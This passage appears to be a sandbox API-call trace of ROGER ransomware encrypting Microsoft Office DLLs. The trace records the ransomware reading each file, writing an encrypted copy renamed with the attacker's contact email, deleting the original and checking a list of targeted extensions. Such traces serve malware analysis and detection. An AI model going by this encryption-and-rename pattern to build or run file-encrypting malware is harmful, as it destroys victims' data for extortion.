lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.555] WriteFile (in: hFile=0x418, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0059.555] SetEndOfFile (hFile=0x418) returned 1 [0059.555] CloseHandle (hObject=0x418) returned 1 [0059.556] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.556] SetEndOfFile (hFile=0x358) returned 1 [0059.557] CloseHandle (hObject=0x358) returned 1 [0059.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0059.557] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll")) returned 1 [0059.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0059.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0059.559] lstrlenW (lpString=".doc") returned 4 [0059.559] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0059.559] lstrlenW (lpString=".docx") returned 5 [0059.559] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0059.559] lstrlenW (lpString=".pdf") returned 4 [0059.559] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0059.559] lstrlenW (lpString=".xls") returned 4 [0059.559] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0059.559] lstrlenW (lpString=".xlsx") returned 5 [0059.560] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0059.560] lstrlenW (lpString=".ppt") returned 4 [0059.560] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0059.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0059.560] lstrlenW (lpString=".zip") returned 4 [0059.560] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0059.560] lstrlenW (lpString=".rar") returned 4 [0059.560] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0059.560] lstrlenW (lpString=".bz2") returned 4 [0059.560] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0059.560] lstrlenW (lpString=".7z") returned 3 [0059.560] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0059.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0059.560] lstrlenW (lpString=".dbf") returned 4 [0059.560] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0059.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0059.560] lstrlenW (lpString=".1cd") returned 4 [0059.560] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0059.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0059.560] lstrlenW (lpString=".jpg") returned 4 [0059.560] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0059.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0059.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0059.560] lstrlenW (lpString=".doc") returned 4 [0059.560] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0059.560] lstrlenW (lpString=".docx") returned 5 [0059.560] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0059.560] lstrlenW (lpString=".pdf") returned 4 [0059.560] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0059.560] lstrlenW (lpString=".xls") returned 4 [0059.560] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0059.560] lstrlenW (lpString=".xlsx") returned 5 [0059.560] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0059.560] lstrlenW (lpString=".ppt") returned 4 [0059.560] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0059.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0059.561] lstrlenW (lpString=".zip") returned 4 [0059.561] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0059.561] lstrlenW (lpString=".rar") returned 4 [0059.561] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0059.561] lstrlenW (lpString=".bz2") returned 4 [0059.561] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0059.561] lstrlenW (lpString=".7z") returned 3 [0059.561] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0059.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0059.561] lstrlenW (lpString=".dbf") returned 4 [0059.561] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0059.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0059.561] lstrlenW (lpString=".1cd") returned 4 [0059.561] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0059.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0059.561] lstrlenW (lpString=".jpg") returned 4 [0059.561] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0059.561] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0059.561] lstrlenW (lpString="ACEREP.DLL") returned 10 [0059.561] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0059.562] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=691616) returned 1 [0059.562] CloseHandle (hObject=0x358) returned 1 [0059.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll")) returned 0x20 [0059.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0059.562] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0059.562] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.562] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.562] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0059.562] GetLastError () returned 0x0 [0059.562] ReadFile (in: hFile=0x358, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0xa8da0, lpOverlapped=0x0) returned 1 [0059.574] WriteFile (in: hFile=0x418, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xa8db0, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0xa8db0, lpOverlapped=0x0) returned 1 [0059.773] ReadFile (in: hFile=0x358, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.773] WriteFile (in: hFile=0x418, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0059.773] SetEndOfFile (hFile=0x418) returned 1 [0059.914] CloseHandle (hObject=0x418) returned 1 [0059.914] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.914] SetEndOfFile (hFile=0x358) returned 1 [0059.961] CloseHandle (hObject=0x358) returned 1 [0059.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0059.962] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll")) returned 1 [0059.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0059.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0059.980] lstrlenW (lpString=".doc") returned 4 [0059.980] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0059.980] lstrlenW (lpString=".docx") returned 5 [0059.980] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0059.980] lstrlenW (lpString=".pdf") returned 4 [0059.980] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0059.980] lstrlenW (lpString=".xls") returned 4 [0059.980] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0059.980] lstrlenW (lpString=".xlsx") returned 5 [0059.981] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0059.981] lstrlenW (lpString=".ppt") returned 4 [0059.981] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0059.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0059.981] lstrlenW (lpString=".zip") returned 4 [0059.981] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0059.981] lstrlenW (lpString=".rar") returned 4 [0059.981] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0059.981] lstrlenW (lpString=".bz2") returned 4 [0059.981] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0059.981] lstrlenW (lpString=".7z") returned 3 [0059.981] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0059.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0059.981] lstrlenW (lpString=".dbf") returned 4 [0059.981] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0059.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0059.981] lstrlenW (lpString=".1cd") returned 4 [0059.981] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0059.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0059.981] lstrlenW (lpString=".jpg") returned 4 [0059.981] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0059.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0059.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0059.994] lstrlenW (lpString=".doc") returned 4 [0059.994] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0059.994] lstrlenW (lpString=".docx") returned 5 [0059.994] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0059.994] lstrlenW (lpString=".pdf") returned 4 [0059.994] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0059.994] lstrlenW (lpString=".xls") returned 4 [0059.994] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0059.994] lstrlenW (lpString=".xlsx") returned 5 [0059.994] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0059.994] lstrlenW (lpString=".ppt") returned 4 [0059.994] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0059.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0059.994] lstrlenW (lpString=".zip") returned 4 [0059.994] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0059.994] lstrlenW (lpString=".rar") returned 4 [0059.994] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0059.994] lstrlenW (lpString=".bz2") returned 4 [0059.994] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0059.994] lstrlenW (lpString=".7z") returned 3 [0059.994] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0059.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0059.995] lstrlenW (lpString=".dbf") returned 4 [0059.995] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0059.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0059.995] lstrlenW (lpString=".1cd") returned 4 [0059.995] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0059.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0059.995] lstrlenW (lpString=".jpg") returned 4 [0059.995] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0059.995] lstrcmpiW (lpString1=".dll", lpString2=".ROGER") returned -1 [0059.995] lstrlenW (lpString="Csi.dll") returned 7 [0059.995] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0060.006] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=5072816) returned 1 [0060.006] CloseHandle (hObject=0x368) returned 1 [0060.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll")) returned 0x20 [0060.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0060.007] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0060.099] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0060.099] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc6c | out: lpNewFilePointer=0x0) returned 1 [0060.099] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0060.099] ReadFile (in: hFile=0x368, lpBuffer=0x4850058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x4850058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.242] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x19cd3a, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0060.242] ReadFile (in: hFile=0x368, lpBuffer=0x4890058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x4890058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.245] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3d3fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0060.245] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x4967b0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0060.245] ReadFile (in: hFile=0x368, lpBuffer=0x48d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x48d0058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.260] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.260] WriteFile (in: hFile=0x368, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xc00fa, lpNumberOfBytesWritten=0x3d3fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fcb0*=0xc00fa, lpOverlapped=0x0) returned 1 [0060.806] SetEndOfFile (hFile=0x368) returned 1 [0060.806] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4f38008 [0060.806] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0060.806] WriteFile (in: hFile=0x368, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.807] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x19cd3a, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0060.807] WriteFile (in: hFile=0x368, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.809] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x4967b0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0060.809] WriteFile (in: hFile=0x368, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.811] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f38008 | out: hHeap=0x790000) returned 1 [0060.811] CloseHandle (hObject=0x368) returned 1 [0060.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0060.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0060.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0060.812] lstrlenW (lpString=".doc") returned 4 [0060.812] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0060.812] lstrlenW (lpString=".docx") returned 5 [0060.812] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0060.812] lstrlenW (lpString=".pdf") returned 4 [0060.812] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0060.812] lstrlenW (lpString=".xls") returned 4 [0060.812] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0060.812] lstrlenW (lpString=".xlsx") returned 5 [0060.812] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0060.812] lstrlenW (lpString=".ppt") returned 4 [0060.812] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0060.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0060.812] lstrlenW (lpString=".zip") returned 4 [0060.812] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0060.812] lstrlenW (lpString=".rar") returned 4 [0060.812] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0060.812] lstrlenW (lpString=".bz2") returned 4 [0060.812] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0060.812] lstrlenW (lpString=".7z") returned 3 [0060.812] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0060.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0060.812] lstrlenW (lpString=".dbf") returned 4 [0060.812] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0060.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0060.812] lstrlenW (lpString=".1cd") returned 4 [0060.813] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0060.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0060.813] lstrlenW (lpString=".jpg") returned 4 [0060.813] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0060.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0060.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0060.813] lstrlenW (lpString=".doc") returned 4 [0060.813] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0060.813] lstrlenW (lpString=".docx") returned 5 [0060.813] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0060.813] lstrlenW (lpString=".pdf") returned 4 [0060.813] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0060.813] lstrlenW (lpString=".xls") returned 4 [0060.813] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0060.813] lstrlenW (lpString=".xlsx") returned 5 [0060.813] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0060.813] lstrlenW (lpString=".ppt") returned 4 [0060.813] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0060.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0060.813] lstrlenW (lpString=".zip") returned 4 [0060.813] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0060.814] lstrlenW (lpString=".rar") returned 4 [0060.814] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0060.814] lstrlenW (lpString=".bz2") returned 4 [0060.814] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0060.814] lstrlenW (lpString=".7z") returned 3 [0060.814] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0060.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0060.814] lstrlenW (lpString=".dbf") returned 4 [0060.814] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0060.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0060.814] lstrlenW (lpString=".1cd") returned 4 [0060.814] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0060.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0060.814] lstrlenW (lpString=".jpg") returned 4 [0060.814] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0060.814] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0060.814] lstrlenW (lpString="MSORES.DLL") returned 10 [0060.814] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0061.344] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=72521600) returned 1 [0061.344] CloseHandle (hObject=0x3ec) returned 1 [0061.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll")) returned 0x20 [0061.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.345] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0061.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0061.345] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, 